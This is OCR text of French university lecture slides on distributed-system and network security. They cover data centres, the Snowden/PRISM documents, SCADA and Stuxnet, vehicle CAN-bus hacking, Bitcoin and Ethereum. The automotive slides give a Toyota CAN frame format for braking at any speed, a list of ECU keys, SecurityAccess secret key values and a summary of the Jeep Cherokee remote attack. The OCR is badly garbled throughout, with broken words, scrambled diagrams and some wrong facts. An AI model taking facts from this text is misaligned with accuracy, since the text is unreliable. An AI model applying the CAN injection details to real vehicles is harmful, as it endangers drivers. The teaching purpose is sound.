o kS

. L = — D

SAELED

“On the Internet, nobody knows you're a dog.”

http://www.enst.fr/~urien/cours.html
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+ Une application distribuée est un ensemble d’entités logicielles, logiquement
autonomes, qui produisent, consomment et échangent des informations

B OUTi = PROG(INi) )

+ Dans un premier temps les composants logiciels des applications étaient logés dans un
méme systéme informatique, constituant de fait leur média de communication (parfois
dénommé gluware).

B Le bus systeme permet le transfert des informations stockées en mémoire, les
modules logiciels sont realises par des processus geres par le systeme d’exploitation.

B La sécurité est uniqguement dépendante des caractéristiques du systeme
d’exploitation, par exemple en terme de gestion des droits utilisateurs, ou
d’isolement des processus.

IN2
IN1 -

OouT1
ouT?2
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Sonde d’écoute

Progl
Datal

OS Firewall
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Bus IO/

MEM .
CPU Bus Systeme
\v/ K

MEM PONT

de BUS
CARTE
Prog2 DISQUE RESEAU

Data?2
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Terminator, 1984, camera of rohot T-800 Model-101
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Instructions assembleur 6502

ParisTech
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Instruction Data
memory - . memory

/o

Harward
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Input
Device

Central Processing Unit

Control Unit

Arithmetic/Logic Unit Output
Device

Memory Unit

Van Neumann
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L'age des MODEMs

e p— , + Dans une deuxiéme période I’application
o, distribuée est re;l)_a}r ie entre plusieurs systémes
a -&"’V oy informatiques reliés entre eux par des liens de
Bacddp el L communications supposés sures (c’est a dire
e it ? ' qu’il est difficile d’enregistrer ou de modifier
~ l'information transmise) tels %ue)modems ou

et , liaisons spécialisées (X25, RN

Y S 4 + Nous remarquerons a ce propos qu’ilest
possible de sécuriser une liaison de type point a
point par un dispositif matériel de chiffrement.

oo IN2
Réseau -

Teléphonique
Commuté

IN1

ouT?2

TELECOM
ParisTech
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+ Enfin ’émergence de la toile d’araignée mondiale a

ermis de concevoir des systémes distribués a
’échelle planétaire, les composants logiciels sont
répartis sur des systémes in ormatiques hétéroclites,
le réseau n’est pas sur, le nombre d’utilisateurs est
important.

+ D'abord absente des premiéres spécifications de, la
sécurité de l'Internet (Security Architecture Eor he
Internet Protocol, RFC 825, 1995) puis du WEB
(Secure Socket Layer, SSL 3.0, 1996), devient un
parametre critique et tente de concilier des
contraintes a priori antinomiques telles que,
nécessité économique d’utiliser Internet, et .
impérative résistance au piratage informatique ou a
I’espionnage.

6 Internet

IN1

OuT1

ouT?2 TELECOM

ParisTech
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Poster de Tim Berners-Lee a la conférence
ACM Hypertext 91

ELECOM

ParisTech
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+ La derniere révolution des communications s’appuie
sur les technologies de réseaux IP sans fil, tels que Wi-
Fi ou WiMAX.

+ Les liens filaires symboles d’une connectivité
volontaire et controlée s’estompent, ’infrastructure
du réseau devient diffuse et invisible. Un nouveau
besoin de sécurité s’affirme, le controle des acceés

réseaux.
IN2
6 Internet ' @

ouT?2
10/198 Pr Pascal URIEN, Telecom ParisTech ﬁﬁml
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Une société fondée en 1998 par Larry Page

et Sergev Brin

DNS Server

Google Web Server

Iindex Servers JJ u
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Document Servers
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359 racks
Vers le Data Center...

* 63,184 CPUs

* 126,368 Ghz of processing power
* 63,184 Gb of RAM

* 2,527 Tb of Hard Drive space

1792 megabytes of memory
366 gigabytes of disk storage
2933 megahertz in 10 CPUs

= o P - e
il .- — e
GOOGLE CIRCA 1999 | [ [
Qch'y o) l I

R -

=588 8- } @
[ e

Doc servers

1
1

«— Doc shards ——. 1

Index servers

1997
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2006, The Dalles Data Center

13/1 O Pr Pascal URIEN, Telecom Paristec

& The Dalles, Oregon Data Center — Iﬁﬁﬂ.lﬂ'ﬁﬁ"-‘mmm -
e | -

www.google.com/datacenter/thedalles/index.htrml

Fichier Edition Affichage Faworis  Outils 7

T Favoris 52 | ~ | @8 Annotation (Harper's Mag... *4 The Dalles, Oregon Dat... <

GO L__)Sle The Dalles, Oregon Data Center
Home Hello City of The Dalles! Au moins 12 data center de grande capacite

Freguently Asked Google is very happy to be located in The Dalles. Oregon.
Questions

We opened our data center here in 2006 and today we're fully operational with approximately 200

Data Center Details people on site, ranging from technology assistants to experienceg-efaratenbgr managers. VWe have
had an excellent experience in The Dalles as we've built out thi{ 5600 million Jhvestment. and we
Opportunities and look forward to being a part of the Columbia Gorge community fo = o=fs to come.

Contacts

We're eager to share more information with you about what we're doing in the area. On this site.
you'll find information about:

Community Outreach

what exactly a data center is
the kinds of jobs that are available
what Google does
how to contact us
our community outreach program

oogle’s data center in the City of The

by be interested. ;

be pan of the Columbia Gorge

% I GOOGLE data
center (2008) |exw L

A0 1puiy

Py EIqUNIe]

g‘tccracr‘icues 22010 - Conditions d'utilisation

& Internet | Mode protégé : activé L 100%
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The Dalles Data Center g

3 batiments de 6400m?2 (2
construits)

1 million de serveurs

2°9 octets (penta octet, 1024
To, 1 million de Go)

103 MW (un réacteur nucléaire
Wc)iuit entre 1000 et 1500

+ La consommation électrique
d’une ville de 80,000
habitants

- =¥+ ¥

e UTILITY CONNECTIONS:
BUNSENG LR OOMTIC  ZLa

TLANT  savimasy
ol 0

En France le prix de revient du MW/h
est de I’ordre de 5€, le prix de vente aux

particuliers est de 1’ordre de 75€
100MW, 200,000 €/jour
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SaaS

Service Value N&s

YT -

/ EE mmmm ==/

Infrastructure as a Service

laaS

TELECOM

ParisTech
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IDS: Intrusion Detection System
IPS: Intrusion Prevention System

Internet

ZISP2:

DLP: Data Loss/Leak Preventlon

DMZ: Demilitarized zone

ISP1

Routers

~connectivity

Dual-homed

Inirastructure Security:

Private extranet: private cloud

HA I & ,
' ; firewalls y Security L Y
Servers (securit ) management }‘3
(email, web, | zone: 1 . J_ (security zone: 5)
e-commerce, Switch
content, virus) Switch 4 ‘
: > o IS, firewall, network,
> system, PKI
S management
Corporate
’ Serwlars 7 (portal
internal web, =) securit s P
. ,S;?ltii:?ii?{s " | zone: 2 “Switch %‘\ﬁm
backup) =4 g Switch
IDS Intranet
WAN Extranet (security zone: 4)
(VPN) (security zone: 3)
Business N ™ /
partners S o
Servers (corporate end users)

(web, e-commerce, database)
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3. Imformation
leakage can provide
the attacker with
operating system
and application
versions, users,
groups, shares, DOINS

7. Misconfigured
Internet servers,
especially CGI and ASTP
scripts on

web servers,
anonymous FTEP with
world-writable
directories, and XSS

4. Hosts running
uNnNecessary
services (such as
RPC, FTP, DINS,
SMTP) are easily
compromised.

5. Wealk, easily guessed, and
reused passwords at the
workstation level can doom your
servers to compromise.

12. Unauthenticated
services like X Windows
allow users to capture

inforomation via
Zzone transfers, and
running services
like SINM P, finger,
SMTE, telnet, rusers,
rpcinfo, NetBIOS.

Intermet/IDMZ servers

13. Inadeguate logging,
monitoring, and detection
capabilities at the network
and host level.

——== Border router

vulnerabilities.

8. Misconfigured
firtewall or router
ACL. can allow
access to internal
systems directly
or once a DMZ
server is
compromised.

Internal router

remote keystrokes or
keystrokes after software
is installed.

10. Excessive file
and directory
access controls
(Windows
shares, UDNIX
NFS exports).

14. Lack of
accepted and well-
promulgated
security policies,
procedures,

Int t D
Clmeanr )
i Inadequate router

access control:
Misconfigured router
ACIL.s can allow
information leakage
through ICMP, I,
NetBIOS, and lead to
unauthorized access
to services on your
IDMZ servers.

Remote access
servers

2. Unsecured and
unmMmonitored remote access
points provide one of the
easiest means of access to
your corporate network.
Telecommuters often
conmnect to the Internet with
little protection, exposing

sensitive fiﬁ to attRll.

Mobile,/ home
uuser

Branch office

standards, and
guidelines.

2
Workstation

9. Software that is
unpatched, outdated.,
vulnerable, or left in
default configurations,
especially web servers.
11. Excessive trust
relationships such as
Windows IDomain
Trusts, UNIX .rhosts,
hosts.eguiv, and SSkEI
files can provide
attackers with
unauthorized access to
sensitive systems.

Exposed, Top Ten Threats

6. User or test
accounts with
excessive privileges.
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En 2013 les echanges entre les data center de
google ne sont pas chifirés

TOP SECRET//SI//NOFORN

Pusilic InTerveT. Gooa& Croud

GFE = GUO%\Q SSL Rﬁl(kd —Ttatlle wn
Tronk Q'r“x W(‘\Ma . LQ
Crd nese 0 Cl2or ext
Serves hee.

TOP SECRET//SI//INOFORN
http://www.washingtonpost.com/world/national-security/nsa-infiltrates-links-to-yahoo-google-data-centers- TELECOM
worldwide-snowden-documents-say/2013/10/30/e51d661e-4166-11e3-8b74-d89d714caddd_story.html
18/198 Pr Pascal URIEN, Telecom ParisTech
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Le Gloud Prive Google

Some of Google’'s data-
center locations

Ireland

.ﬂ
s S0

Finland

o
Taiwan
o°
Hong Kong
United States — Sngapore
e Council Bluffs, lowa - — )
e Douglas County, Ga. 'L/ =
® Lenoir, N.C. :
* Mayes County, Okla. Chile
® The Dalles, Ore. Note: This diagram depicts
* Berkeley County, S.C. data flow, not actual fiber links.
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TOP SECRET/SI/ORCON/NOEQRN “* Hotmail’ >anale ~— Al T
p-. 4 (.ngl} = oy Paltalk 0 Tube)

(@O BTl facebook YAaHOO! 3 AOL & mail &

csrisumes Dates WREBRISM Collection =2
Began For Each Provider

YouTube 261

4 9/24/10 .
PalTalk .

\  12/7/09

1/14/09

Microsoft
9/11/07

PRISM Program Cost: ~
$20M per year

2007 2008 2009 2010 2011 2012 2013
TOP SECRET/SI//JORCON/NOFORN
http://www.washingtonpost.com/wp-srv/special/politics/prism-collection-documents/ TELECOM

ParisTech
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facebook

GCmazil

; - w
<. Hotmail GO )SIC = oy Paltalk = (1] Tube
YarHooO! " AOL &> mail &

( TS/SI//NF) Introduction

U.S. as World’s Telecommunications Backbone

/ Much of the world’s
communications flow

through the U.S.

or chat will take the
cheapest path, not the
hysically most direct
path — you can’t always
predict the path.
= Your target’s
communications could

hrough the U.S

- A target’s phone call, e-mail

Qasily be flowing into and/
t S 7

TN

Aleca

Lasn Armecca
& Cartboan

Asa & Pactc

’/"‘ b - ,/}

-

International Internet Regional Bandwidth Capacity in 2011 B
Sowrce: Telegcography Rescarch

TOP SECRET/SILI/ORCON/NOFORN Em.
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This chart shows the 10 companies that reach the largest audience online. In July

2013, Google's various websites reached a total of 1.2 billion people across the globe! Internet B“siness

Google Company Employees Sales MS
Microsoft 99,000 77,849
b Go gle Google Inc 47,556 59,825
'"°" 53 Tencent Holdings Ltd 27,492 9,831
i &f@ Facebook Inc 6,337 7,872
e Baidu Inc 31,676 5,196
° soom eoom ooom 200m - 1.590M 1 yahoo! Inc 12,200 4,680

Fascinating Number: Google Is Now 40% Of

Google.com was down for a few minutes between 23:52
and 23:57 BST on 16th August 2013. This had a huge
effect in the number of page views coming into
GoSquared’s real-time tracking —around a 40% drop, as
this graph of our global page views per minute shows.

22/198 Pr Pascal URIEN, Telecom ParisTech
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Internet Tratfic and Net Neutrality

Netflix, YouTube gobble up half of Internet
traffic

| Downstream J Agsregate

Paid-peering deals, which
happen at interconnection
points around the U.S., are

P>V SR BT INIESE o, o LA
Rank Application Share Application Share Application Share

not considered to be a "Net T s e T o i s
neutrality" issue by the FCC T -2 picrorrens o5 [sictorrent s
Netflix has reached a paid- T T ol e | -
- - - 7 QVoD 2.55% | SSL 2.05% | MPEG - Other 2.32%
peerl ng = I nte rcon nectl On 8 Facebook 1.54% | Amazon Video 1.61% | Amazon Video 1.48%
. . 9 FaceTime 1.44% | Facebook 1.31% | Facebook 1.34%

agreement W|th Venzon, 10 | Dropbox 1.39% | Hulu 1.29% | Hulu 1.15%
. . 66.00% 76.23% 73.35%

both companies confirmed to “Isandvine

T I M E O n M O n day Table 2 - Top 10 Peak Period Applications - North America, Fixed Access
.

TELECOM

ParisTech
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According to Mills, the global ICT
(Information-Communications-

Technologies )system is now approaching 10
percent of the world’s electricity generation.
By current calculations, the cloud uses about
1,500 TWh of electricity annually, which is
equal to the combined electrical generation of <
Japan and Germany.

In the near future, hourly Internet traffic will
exceed the Internet’s annual traffic in the year
2000.

The global ICT ecosystem now also consumes
as much electricity as global lighting did circa
1985 (seen below).

24/198 Pr Pascal URIEN, Telecom ParisTech

7,000

5,000 —
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+ RTU
B Dispositif de télémétrie "non intelligent”
+ PLC

E RTU programmable
& Par exemple langage de programmation d’automates Siemens S7

MODBUS

26/

Field
Instrumentation

PLCs / RTUs

Comms /
Telemetry

Ethernet

Radio

Serial

Dial-up

SCADA Host

=
=
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SCADA - RTU

Antermo

~—1 75 T 1T 1T I 11

| ]

.

[ ]

L]

: :

Poweer Cervincl wolctile || Mo Analog Aol og Diggital il H

Suphyr Procassing Moy | Violatile [yl =18} O Irpot Ot "

¥ Uit M Ty W le e [0 =] Moo Ll ML= Mocduler .

DA AaT - = = = = .
Source . = 2 = 2 "
. = = = = :

B - - = - L

; = : = - :

’ 1 i} 1 T

5 "

: .

Saricil Correms Porks
(RS-232 ) RS-422 /) R5-485) ol

““"“I'"""“E

frocrarmrmanle Logic Condroli=er

FProgroarmymiimngg Tesrmdirmal

Spare RS-232 Poart
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Le systeme SCADA lit les
valeurs du débit et du niveau Eﬁ—@

et fixe les consignes. MODBUS
PLC2 compare le
~ PLC-1 PLC-> |Nhiveauala
Controle de Mesure consigne et adapte
la pompe du débit I’ouverture de la
. A valve en
: = Mesure | conssquence
Pompe _ du
£ Citerne % niveau
PLC1 compare le débit a la consigne et adapte la o3
vitesse de la pompe en conséquence. Valve
TELECOM

ParisTech

28/198 Pr Pascal URIEN, Telecom ParisTech


http://www.telecom-paristech.fr/

I RN RN

2000

2003

2008

2009

2010

2011

2013
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Sewage-processing
plant attack by a former
employee

Muclear power plant
system was disabled via
the Slammer worm

Train derailment due to
hacking

Traffic signal systemn
hacked

Stuxnet worm destroyed
uranium centrifuge
operations

Ambulance service
disrupted via a malware
infection

Banking and broadcasting
services were disrupted

Maroochy, Australia

Ohio, USA

Lodz, Poland

LA, California, USA

Matanz, Iran

MNew Zealand

South Korea

TELECOM

ParisTech
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Remote Desktop

Thin Client 1 Thin Client 2 Thin Client 3 Thin Client n
Standard WinCC Server Standard WinCC Clients (1 .
Windows 2003/2008 Wm)(PfWurn:lows ?
Server
Industrial Ethernset B
PROFIBUS B
g
=
HI
>‘I
PLC PLC PLC o'

TELECOM

ParisTech
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Taille du code 500 KB (versus 10 KB pour un ver ordinaire)
De multiples mécanismes de propagation

B Fichier, clé USB, driver d’imprimante, RPC, mot de passe par
defaut de la base de donnee des logiciels PLC, mise a jour via
internet via un mecanisme P2P.

B 6 backdoors inconnus (zero days).
& Ce qui implique probablement ’analyse des codes source de Windows.
+ La cible est un ordinateur équipé du logiciel siemens STEP7

B Le PLC doit étre connecté a au moins 6 modules réseau (CP-342-
5) Siemens controlant 155 generateurs de frequences associes
aux centrifugeuses

+ Le logiciel Stuxnet est signé par des clés d’éditeurs de logiciels
antivirus, préalablement dérobés.

+ Stuxnet a détruit environ 1000 centrifugeuses iraniennes

= *

TELECOM

ParisTech
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Stixnet
Now Stuxnet gets down to business...

Once it’s sure, the malicious PLC logic begins its mischief!

Stuxnet raises the spin rate
to 14 for

Then sleeps for

Then slows the spin rate
to 2Hz for

Then sleeps for

Stuxnet repeats this
- L L L P B | process over and over
ParisTech
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1200

Combination Mater

CAN No lJunct-onCunnctor—\ —M—|
'

Main Body ECU p—-—-r—1—-—1

DLC3

1 Power Steering ECU

Certfication ECU
(Smart Key ECU) P = —— - e [ S .

! Stearing Angle Sensor

Yaw Rate Sensor

] Navigation ECU (Navigation

Skid Control ECU (Brake p —— = —— < 4 - —{ Receiver Assembily)*1

Booster with Master Cylinder) | - J. 4 '-__‘ ______ -
4

H Centor Airbag Sensor
Power Management Control p— = —-—{— - —{ Assembly
ECU

Transmission Control ECU

-

to CANNo. 2Bus ____!

Jap—
conad

— - — - e

: HI
3 1
to Power Management ‘__.__: —M—' CAN No. 2 Junction Connecior
Bus ECM
1200
*1: w/ Navigation System
- CAN Bus Main Wire (CANH]  ~srremeee= CAN Bus Branch Wire (CANH) TELEE_I_DM
ParisTech
— . v— CAN Boas Main Wire (CANL) v . CAN Bus Branch Wire (CANL)
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Example e message GAN
Braking: Toyota

* Apply the brakes at any speed
« CAN ID: 0283
* Length: 07
* Format: CN 00 51 S2 ST 00 CS
— CN => Counter (00-80)
— S1 S2 => Force applied to brakes
* Negative for braking
— ST => Adjustment State
— CS => Checksum]
* Example:

IDH: 0z, IDL.: 82, Len: 07, Data: &1 00 EO BE B8C OO0 17

TELECOM

ParisTech
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Mot de passe
Some favorite keys

- JAMES  a_bad

« MAZDA « cont

+ MazdA  Rowan

* mAZDa « DRIFT

- PANDA - HAZEL

* Flash = 12345

« COLIN « ARIAN

* BradW - Jesus

« Janis - REMAT

* Bosch - TAMER TELECOM

ParisTech
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SecurityAccess: Toyota

» ECUs will send a new seed on each startup and after a
number of wrong keys attempted

* Reversed the Techstream software to procure the

secrets
. secret keys = |
Ox7EOQ0: ™00 &0 0O oO0O™,
Ox7EZ: "O00 &0 &0 OO0O™
}

secret keysZI = |
O=7B0: ™00 25 Z5 oo™
1

* Example

IDH: IDL,: EDJ, Len: Data: 27F 01 00 OO0 QO OO0 00

o7, oa, o=
Iobg: 07, IDL: E3, Len: 08, Data: 0& &7 01 01 BB BE 55 00
IDH: 07, IDL: EO, Len: 082, Data: 0O 27 02 01 DB EE 55 00
IDg: o077, IDL: EZ, Len: 08, Data: 02 &7 02 o0 00 Q0O OO0 OG0

38/198 Pr Pascal URIEN, Telecom ParisTech
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+ Environ 1 million de véhicules concernés. “ I'“cle ‘2015]
+ Attaque via le systéme Uconnect 8,4AN/RA4, radio, navigation, Wl , reseau cellulaire
E  Processeur Texas Instruments OMAP-DM3730
B QNXOS
+ Procédure de mise a jour sans intégrité
+ Mot de passe Wi-Fi de faible entropie (0 bits), 32bits= Jan 2013 00:00:32
+ Port TCP 6667 ouvert sur le réseau cellulaire Sprint
B D-Bus message services
B Authentification anonyme
B Coprocesseur Renesas V850 ayant acces au bus CAN (Controller Area Network)
& Communications CAN non sécurisées
@ |ID (2octets), longueur (10), information
+ Buffer overflow sur le processeur Renesas V850
+ Prise de contrdle a distance

B Plage d’adresse IP, scan de port
B Injection de messages CAN
+ Prise de controle a distance Autoradio, moteur, direction, freins

TELECOM

ParisTech
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Resume de 'Attague 2014 Jeep Cherokee

Coprocesseur
Renesas V850 < > CAN BUS
Firmware Modifié
(injection) Engine Control
Unit (ECU)

Processeur Texas
Instruments OMAP-DM3730

QNX OS
Port 6667 D-Bus Service

Since a vehicle can scan for other vulnerable vehicles and the exploit doesn’t require any
user interaction, it would be possible to write a worm. This worm would scan for

vulnerable vehicles, exploit them with their payload which would scan for other

vulnerable vehicles, etc. This is really interesting and scary. Please don’t do this. Please.
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Thls man's lost bitcoin are now
17% of Bitcoin Reserves Stolen: Korean worth $75m and under 20[]’"[]“

Exchange Youbit Declares Bankruptcy innnes ufgarhage
after HaCk Pity poor James Howells, He has 7,500 bitcains... but they're lost on a landfill in

DDDDDDDD

Coincheck hacked in ‘'world's biggest
cryptocurrency theft

Updated 23 Jan 2018, 11:11pm
STOCKS

Avoid This $50,000 Bitcoin Mistake

by The Sovereign Investor

TELECOM

ParisTech
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+ In this paper, we propose a solution to the double-
spending problem using a peer-to-peer distributed
timestamp server to generate computational proof of
the chronological order of transactions

+ The steady addition of a constant of amount of new
coins is analogous to gold miners expending
resources to add gold to circulation.

+ In our case, it is CPU time and electricity that is
expended

TELECOM

ParisTech
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144 blocks/day
(Fix Mining Rate) 10,5x10°BTC
TR —=

S0
\‘
: ey
N
Q)
L)

4 '50% «}.f 50 BTC/block (144x50)|| Drfficulty

(I.e. costs)

4years| 2506 @& 25 BTC/block (144x25) || increases
|| 12,5%=12,5 BTC/block (144x12,5

——
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ParisTech
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itcoi ++ Wh 9

Satoshi Adam Back (PoW)
Nakamoto TRADING =
16,000 lines of 0\
C Code

Hal Finney
first user of
bitcoin.exe

M iner
outing
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=¥+ &

A win32 software, written in 2009 by Satoshi Nakamoto
About 16,000 lines of C++ code, and 6 MB binary size.

This software realizes all the functions needed by the bitcoin blockchain. It
manages four major tasks:
E Transaction generation

& 'll('ransactions are signed according to the ECDSA algorithm, dealing with elliptic curve private
eys.

& Bitcoin address is computed from public key
B Communication with other bitcoin nodes running the bitcoin.exe application.
& Bitcoin Protocol
& Incoming transactions checking
& Management of transaction pools

B Block mining.
@ Include the CoinBase in the block to be mined
& A full node always mines a block
& Always work on the greater blockchain

B Blockchain management.

& Database management

& a set of data files managed by a non SQL database, the Berkeley DB. In particular the private
keys are stored in the file named wallet.dat.
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About Bitcoin =
[ @ Bitcoin ul ajuu [=lcmes] 1 Options
File Help
=3 Generate Coins.
| hSWNVabSnKPtZ9LSELC Optional transaction fee you give to the nodes that process your transactions.
Bitcoin version 0.1.3 Alpha I | solance: 0.00
° | At Transsctons | Transaction fee:  0.00
All Transactions
Copyright @ 2009 Satoshi Nakamoto.
Stas Date Desaription Debit Credit
This is experimental software. Do not rely on it for actual financial transactions.
-
Distributed under the MIT/X 11 software license, see the accompanying file - - I ran SaCt I O n fe e
license. txt or http:/fwww. opensource. orgflicenses/mitHicense. php. M I n I n g
This product indudes software developed by the OpenSSL Praject for use in the
OpenssL Toolkit (http: /fwww.openssl.org)) and cryptographic software written by - -
S Coin Generation
[ Ok ] ’ Cancel ]
0 conne 408 blocks 0 transa
-~ 5 e
B tcon =le < [ vour Bitcoin Address ==
File Options Help Eb Send Coins ﬁ
These are your Bitcoin addresses for receiving payments.
2 send cons Adress Baok T R e D o o o T e E e e P e il e e e Irex ks omia = peryas tns)
. I e reapients aadress (e.9. 22,0, T onling Tansrer with comments and connrmanon,
TR s | Iy e e e or bitcoin address (e.g. 1NS17iag%jIgTHD1VXjvLCENZuQ3r JEDSL) if redipient is not online. Name BitcaniAddress
Balance: 0.00
Pay To: Address Book. ., test] 13adv 1s7cpgph4NMY 7ZnGpuo ZuQsUpsrz
Al Transactions test2 1kyeeDruYoWd 1ChSwiNy 3bSnkPtZoLSELC
p— e f— i p— Amount: test3 HhCX2XuxB6ZsbQfLhieb 7maEUgfLBTXC
Your Address 177FMo77rfTSx 2arAUHTRICKYZ7Q2PELU
From:
Bitcoin Address
Message:
-
T tion G fi ‘ Generation
peme] [hempdtenn ] [ommoeend] [Looc] (oo
0 connections 408 blocks 0 transactions ™

-
Address Book

===

Mame Address
MyAdr 1KY SFraCyTDMruuBwnass IM4zivyMwitog
€ i |

TELEC

oM

Edit... Delete

| [ Newaddress... | | ok

J |

Tech
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Bitcoin 12LZjvQBy31ABRpqvMZQbu7S9K5SxaifjW in Block 96188 B I 00 kc Ila I II u a
o - [ ]

Full Bitcoin Block 96188

Search

Number Of Transactions 4
Output Total 91.24 BTC

PREVIOUS e NEXT
BLOCK Difficulty 8.078.19525783 BLOCK

Bits 453516498
Version 1
Nonce 944968343
Block Reward 50 BTC PoW
Days Destroyed 2
Hash 000000000004d6e22b42b166fd9cad1977bdee1 3abable51a2d03ca22e617 1af
Previous Block 0000000000027¢094bf0817c27a6debehsf36419bi53390e3e1c40a65382195¢ . . L.
Next Block(s) 0000000000042c9d0873106d502a2471090625M607623c1956a38e987c590f Transac‘“on |dent|f|ers are

Merkle Root 26ab6bE9Thae06416b2fe50471358c997af0adc36e6abeae79T59745b5065a1

stored in a Merkle Tree

Top Hash

hashl 557

tx:dda73fs1abreevacb4cf0505d1fab34661666c461488e58ec30281e2becd93e2 33.59 BTC Fee: 0BTC
+previc 1689LPULIxaxSchENLMNaNDS3hYYgdpasSs -33.59 BTC ” 13RoCeq4K8ddPWEUgCheFoXKAGC2BLVUET 0.05 BTC  —predtx
12LZjvQBy31ABRpQVMZQbuU7SIKSSXaIW  33.54 BTC =pnexttx

Hash Hash Hash
0-0 0-1 1-0
hashiL1} hashiL2) hashiL3)
‘ = ‘ L ‘ =
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PoW: Mining
+ H(x): sha256((sha256)(x))
+ Solve: H(nonce, header) < (65535 << 208) / Difficulty

B Given the computation difficulty D, and the hashrate
(h(t), in computations per second), the probability Ap of
solving the PoW in At second is

& Ap = At h(t)/D
E The mining duration follows an exponential distribution,
whose probability density function p(t) is :
& p(t) = AeM with A =h(t)/Din s’
+ h= 2 hi, the computation power is shared by miners

B The probability to win the mining process is hi/h  jessss
49/198 Pr Pascal URIEN, Telecom ParisTech ﬁﬁml
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The numher of Bitcoin is finite

210,000 blocks 25 Initial Block Reward (IBR)
1= ]
Noe= Ng xX 50x108/2
- : 1=0 _
(In satoshi) 1 BTC = 108satoshi
The block reward started at 50 BTC in 2009, a block is mined in average every 10
minutes

It halves every 210,000 blocks (about 4 years, = 144x 1461)
It will stop with the block number 6,930,000 (=33x 210,000, 33 =1 + log,(5.10%) )

This mechanism limits the total number of Bitcoins in circulation to
21 millions (210,000 x 50 x 2)
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Transaction

2 Input =
> output + Fee

Fee= X input

- ¥ output
txHash —

51/198 Pr Pascal URIEN, Telecom ParisTech

TRANSACTION

INPUT 1

PREVIOUS OUTPUT HASH (Amountl+Amount2+ Fee)

: SIGNATURE Sia Sori :

| PAYER’S PUBKEY B |

L e e e e e e e e e e e e e e e e e ——— - ]
;' ____________________________ I
| | OUTPUTL ;
1| AMOUNT1 !
' I PAYEE’S PUBKEY (Hash160)  PubKey Script | !
| I_ _________________________ I
' I
| | oUTPUT2 !
' | AMOUNT?2 |

e R S SIS I
: I PAYEE’S PUBKEY (Hash160) PubKey Script | I

D o e e e e e e e e e e e e e e e e e e 111
' [
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01000000 // Version

01 // number of inputs
DE2D211EF429909B0AB8D2ET7D25826A0 //TransactionID
EDD6281EC6DEDF2B822CES5014A349E72

01000000 // index 01 // number of outputs
8A // length of the signature Script D418040000000000 // amount in BTC
47 // ECDSA Signature length 19 // Public Key Script
30 44 // Sequence of (r,s) integer values 76 // OP_DUP
02 20 // integer r value A9 // OP_HASH160
0772ABD5D37D0CAAB881DBC8912628F9 14 // hashl60 length
3461839CC8D4BCO007A355831A6061ED7 CB643DD608FB5C323A4A6342C1A6AC8048B409EB
02 20 // integer s value 88 // OP_EQUALVERIFY
A4CCCC34B34A9075FC09C9777EABTAGFS AC // OP_CHECKSIG
612DA2130C1FF1COE376AD9B2209D51D 00000000 // Locktime

01 41 // Public key length
04 // uncompressed format

CFD7A542B8C823992AF51DA828ELB693 The pay-to-pubkey-hash script is defined as:
CC5AB64F0CACFOF80C31A1ECA471786E OP_DUP [76] OP_HASH160 [A9]
285BDD3F1FEOA006BD70567885EF57ER <length=14> <hash160>

Bty OP_EQUALVERIFY[88] OP_CHECKSIG[AC]
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Miners
*Buy rigs
Pay for Energy
*Produce Hashes
*Get BTC Rewards

i

Network
Fixes the Hash price in BTC
Fixes the BTC production rate
*Provides the blockchain
Stores blocks and transactions

Market
*Fixes the BTC change in $ TELECOM

ParisTech
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+ Ethereum was introduced in a white paper by Vitalik Buterin
in 2013

+ The Ethereum software project was initially developed in
early 2014 by the Swiss company, Ethereum Switzerland
GmbH, and a a Swiss non-profit foundation, the Ethereum
Foundation (Stiftung Ethereum).

+ Ethereum'’s live blockchain was launched on 30 July 2015

+ Ethereum is a blockchain platform supporting a digital
currency the Ether and distributed applications called Smart
Contrats written in Serpent or other languages.

E The Ethereum Virtual Machine (EVM) supports a Turing
complete language

+ 1 ETHER = 108 Wei.
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+ A new block is mined every 15,0 s
+ The Block reward is 3 Ethers
+ Transactions are stored in the blockchain

+ Every account is defined by a pair of keys (ECC
sepc256k1), a private key and public key.

B Accounts are indexed by their address which is derived
from the public key by taking the last 20 bytes.

TELECOM

ParisTech
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+ An Ethereum account contains four fields:

E The nonce, a counter used to make sure each
transaction can only be processed once

& A scalar value equal to the number of transactions
sent by the sender

B The account’s current Ether balance
E The account’s contract code, if present
E The account's storage (empty by default)

TELECOM

ParisTech
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Transactions Structure

The recipient of the message

A signature identifying the sender

A nonce: a scalar value equal to the number of transactions sent by the sender
Value:

B ascalar E/alue equal to the number of Wei to be transferred to the message call's
recipien

B orin the case of contract creation, as an endowment to the newly created account
+ An optional data field

B acontract creation transaction contains an unlimited size byte array specifying the
EVM-code for the account initialization procedure

B A message call transaction contains an unlimited size byte array specifying the input
data of the message

+ A STARTGAS value, representing the maximum number of computational steps the
transaction execution is allowed to take

+ A GASPRICE value, representing the fee the sender pays per computational step
B A scalar value equal to the number of Wei to be paid per unit of gas

B Transactors are free to specify any gasPrice that they wish, however miners are
ignore transactions as they choose.

-+ + #

TELECOM

ParisTech
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Ethereum Transaction

F8
80
85
82
94
87
80
1C
A0

A0

6B // list length= 107 bytes

// nonce = null (zero value)

04E3B29200 // gazPrice= 21 000 000 000 Wei)

9C40 // gazLimit= 40 000 Wei
777A07BAB1C119D74545B82A8BE72BEAFF4D447R //Recipient
2386F26FC10000 // value= 10 000 000 000 000 000 Wei
// data = null

// signature recovery parameter = 28 (27+i)
F1DD7D3B245D75368B467B06CAD61002 // r value
67031935B7474ACB5C74FE7D8C904097 // 32 bytes
772D65407480D7C45C7E22F84211CB1A // s value
DF9B3F36046A2F93149135CADBB9385D // 32 bytes

Public key is recovered from the signature two solutions +
(27) and (-) (28)
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Ethereum RLPX:
Cryntographic Network & Transport Protocol

+ LPxis a cryptographic peer-to-peer network and protocol suite which provides a
general-pur'[()ose transport and interface for applications to communicate via a
p2p network. RLPx is desighed to meet the requirements of decentralized
applications and is used by Ethereum.

+ The current version of RLPx provides a network layer for Ethereum
UDP Node Discovery for single protocol
ECDSA Signed UDP
Encrypted Handshake/Authentication
Peer Persistence
Encrypted/Authenticated TCP
TCP Framing
+ Security
B authenticated connectivity (ECDH+ECDHE, AES128)
B authenticated discovery protocol (ECDSA)
B encrypted transport (AES256) TELECOM

ParisTech
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Transaction Information & VMDebug

TxHash: Ox75b136adfc 03b9173f286fb526936586ebT Yeabf18e0fbf 3574d29c d01922bTF
Block Height: 473730 (29531 block confirmations) RLP(Address, nonce):
TimeStamp : 4 days 20 hrs ago (Feb-04-2017 08:15:00 PM +UTC) D6 (IISt)
94 3f406a15095669e63df80d21d54d12bdfa214187 (address)
From: 0x 3f406a15095669e63df80d21d54d12bdfa214187
80 (null byte)
To [Contract Oxdde29ad%ac 3c Bba701c 0ffac 566117a2bbfdb177 Created] @
